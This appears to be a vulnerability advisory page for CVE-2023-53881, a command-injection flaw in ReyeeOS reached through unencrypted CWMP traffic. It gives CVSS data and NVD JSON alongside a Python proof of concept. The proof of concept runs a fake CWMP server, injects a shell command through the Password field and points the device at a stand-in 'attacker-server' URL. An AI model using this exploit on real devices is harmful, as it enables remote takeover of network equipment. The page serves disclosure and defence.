Security Vulnerability Report
中文
CVE-2023-53881 CVSS 8.1 HIGH

CVE-2023-53881

Published: 2025-12-15 21:15:51
Last Modified: 2025-12-18 22:38:22

Description

ReyeeOS 1.204.1614 contains an unencrypted CWMP communication vulnerability that allows attackers to intercept and manipulate device communication through a man-in-the-middle attack. Attackers can create a fake CWMP server to inject and execute arbitrary commands on Ruijie Reyee Cloud devices by exploiting the unprotected HTTP polling requests.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijienetworks:reyee_os:1.204.1614:*:*:*:*:*:*:* - VULNERABLE
ReyeeOS 1.204.1614及之前版本
Ruijie Reyee Cloud devices (所有使用未加密CWMP的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2023-53881 - ReyeeOS CWMP MITM RCE PoC Author: VulnCheck Note: For educational and authorized security testing only """ import http.server import socketserver import re import base64 # Malicious CWMP response with embedded command MALICIOUS_COMMAND = "$(echo test > /tmp/pwned)" CWMP_RESPONSE_TEMPLATE = """<?xml version="1.0" encoding="UTF-8"?> <soap-env:Envelope xmlns:soap-env="http://schemas.xmlsoap.org/soap/envelope/"> <soap-env:Header> <cwmp:ID xmlns:cwmp="urn:dslforum-org:cwmp-1-0">{id}</cwmp:ID> </soap-env:Header> <soap-env:Body> <cwmp:InformResponse> <MaxEnvelopes>1</MaxEnvelopes> </cwmp:InformResponse> <cwmp:Download> <CommandKey>update</CommandKey> <FileType>1 Vendor Configuration File</FileType> <URL>http://attacker-server/fake-config</URL> <Username>admin</Username> <Password>{password}</Password> <FileSize>0</FileSize> <TargetFilename>/tmp/run.sh</TargetFilename> <DelaySeconds>0</DelaySeconds> </cwmp:Download> </soap-env:Body> </soap-env:Envelope>""" class CWMPHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): # Parse incoming CWMP Inform request content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length).decode('utf-8') # Log the received request for analysis print(f"[*] Received CWMP request from victim") print(f"[*] Request headers: {dict(self.headers)}") # Generate malicious response with RCE payload response_id = "123456" malicious_response = CWMP_RESPONSE_TEMPLATE.format( id=response_id, password=f"admin; {MALICIOUS_COMMAND} #" ) # Send malicious CWMP response self.send_response(200) self.send_header('Content-Type', 'text/xml') self.send_header('Content-Length', len(malicious_response)) self.end_headers() self.wfile.write(malicious_response.encode('utf-8')) print("[+] Sent malicious CWMP response with embedded command") def log_message(self, format, *args): # Suppress default logging pass def start_fake_cwmp_server(port=7547): """Start the malicious CWMP server to receive device connections""" with socketserver.TCPServer(("", port), CWMPHandler) as httpd: print(f"[*] Fake CWMP server listening on port {port}") print(f"[*] Waiting for ReyeeOS device to connect...") httpd.serve_forever() if __name__ == "__main__": start_fake_cwmp_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53881", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:50.993", "lastModified": "2025-12-18T22:38:22.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ReyeeOS 1.204.1614 contains an unencrypted CWMP communication vulnerability that allows attackers to intercept and manipulate device communication through a man-in-the-middle attack. Attackers can create a fake CWMP server to inject and execute arbitrary commands on Ruijie Reyee Cloud devices by exploiting the unprotected HTTP polling requests."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijienetworks:reyee_os:1.204.1614:*:*:*:*:*:*:*", "matchCriteriaId": "F6647043-B3D1-4D96-A2C8-9184AC647231"}]}]}], "references": [{"url": "https://ruijienetworks.com", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://www.exploit-db.com/exploits/51642", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/reyeeos-man-in-the-middle-remote-code-execution-via-cwmp", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}